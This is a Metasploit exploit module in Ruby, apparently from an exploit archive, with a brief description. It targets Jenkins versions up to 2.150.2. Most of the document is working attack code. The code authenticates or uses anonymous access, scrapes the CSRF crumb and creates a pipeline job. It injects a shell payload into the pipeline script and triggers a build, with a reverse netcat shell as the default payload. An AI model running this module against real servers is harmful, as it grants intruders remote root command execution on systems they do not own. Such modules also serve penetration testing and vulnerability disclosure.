This Metasploit module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges. The vulnerability is exploited by a small script prepared in NodeJS. The sh parameter allows us to run commands. Sample script: node { sh "whoami" } In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default. Therefore, all users without console authority can run commands on the system as root privilege.
ade3a0ed578a4cb39283ecf427031e3d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)',
'Description' => %q{
This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges.
The vulnerability is exploited by a small script prepared in NodeJS.
The sh parameter allows us to run commands.
Sample script:
node {
sh "whoami"
}
In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default.
Therefore, all users without console authority can run commands on the system as root privilege.
},
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'reverse netcat generic perl ruby python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Jenkins <= 2.150.2', { }]],
'DisclosureDate' => 'Feb 11 2019',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }))
register_options(
[
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('PATH', [ true, 'The path to jenkins', '/' ]),
], self.class)
end
##
# Jenkins activity check
##
def check
res = send_request_cgi({'uri' => "/login"})
if res and res.headers.include?('X-Jenkins')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
print_status('Attempting to login to Jenkins dashboard')
res = send_request_cgi({'uri' => "/script"})
if not (res and res.code)
fail_with(Exploit::Failure::Unknown)
end
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
@cookie = "#{sessionid}"
print_status("#{sessionid}")
if res.code != 200
print_status('Logging in...')
##
# Access control and information
##
res = send_request_cgi({
'method' => 'POST',
'uri' => "/j_acegi_security_check",
'cookie' => @cookie,
'vars_post' =>
{
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
'Submit' => 'Sign+in'
}
})
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
print_error('User Login failed. If anonymous login is active, exploit will continue.')
end
else
print_status('No authentication required, skipping login...')
end
##
# Check Crumb for create pipeline
##
cookies = res.get_cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => "/view/all/newJob",
'cookie' => cookies
})
html = res.body
if html =~ /Jenkins-Crumb/
print_good("Login Successful")
else
print_status("Service found, but login failed")
exit 0
end
crumb = res.body.split('Jenkins-Crumb')[1].split('");<')[0].split('"').last
print_status("Jenkins-Crumb: #{crumb}")
##
# Create Pipeline
##
res = send_request_cgi({
'method' => 'POST',
'uri' => "/view/all/createItem",
'cookie' => cookies,
'vars_post' =>
{
'name' => "cmd",
'mode' => "org.jenkinsci.plugins.workflow.job.WorkflowJob",
'from' => "",
'Jenkins-Crumb' => "#{crumb}",
'json' => "%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7"
}
})
##
# Configure Pipeline
##
shell = payload.encoded
res = send_request_cgi({
'method' => 'POST',
'uri' => "/job/cmd/configSubmit",
'cookie' => cookies,
'vars_post' =>
{
'description' => "cmd",
'Jenkins-Crumb' => "#{crumb}",
'json' => "{\"description\": \"cmd\", \"properties\": {\"stapler-class-bag\": \"true\", \"hudson-security-AuthorizationMatrixProperty\": {}, \"jenkins-model-BuildDiscarderProperty\": {\"specified\": false, \"\": \"0\", \"strategy\": {\"daysToKeepStr\": \"\", \"numToKeepStr\": \"\", \"artifactDaysToKeepStr\": \"\", \"artifactNumToKeepStr\": \"\", \"stapler-class\": \"hudson.tasks.LogRotator\", \"$class\": \"hudson.tasks.LogRotator\"}}, \"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\": {\"specified\": false}, \"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\": {\"specified\": false}, \"com-coravy-hudson-plugins-github-GithubProjectProperty\": {}, \"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\": {\"specified\": false, \"hint\": \"MAX_SURVIVABILITY\"}, \"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\": {\"specified\": false, \"buildCount\": \"1\"}, \"hudson-model-ParametersDefinitionProperty\": {\"specified\": false}, \"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\": {}, \"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\": {\"triggers\": {\"stapler-class-bag\": \"true\"}}}, \"disable\": false, \"hasCustomQuietPeriod\": false, \"quiet_period\": \"5\", \"displayNameOrNull\": \"\", \"\": \"0\", \"definition\": {\"script\": \"node {\\n sh \\\"#{shell}\\\"\\n}\", \"\": [\"try sample Pipeline...\", \"\\u0001\\u0001\"], \"sandbox\": true, \"stapler-class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\", \"$class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\"}, \"core:apply\": \"\", \"Jenkins-Crumb\": \"#{crumb}\"}",
'Submit' => "Save"
}
})
if res.code == 302
print_good("Pipeline was created and Node JS code was integrated.")
end
##
# Build Pipeline and Execute payload
##
print_status("Trying to get remote shell...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "/job/cmd/build?delay=0sec",
'cookie' => cookies,
'vars_post' =>
{
'Jenkins-Crumb' => "#{crumb}"
}
})
handler
end
end
##
# End
##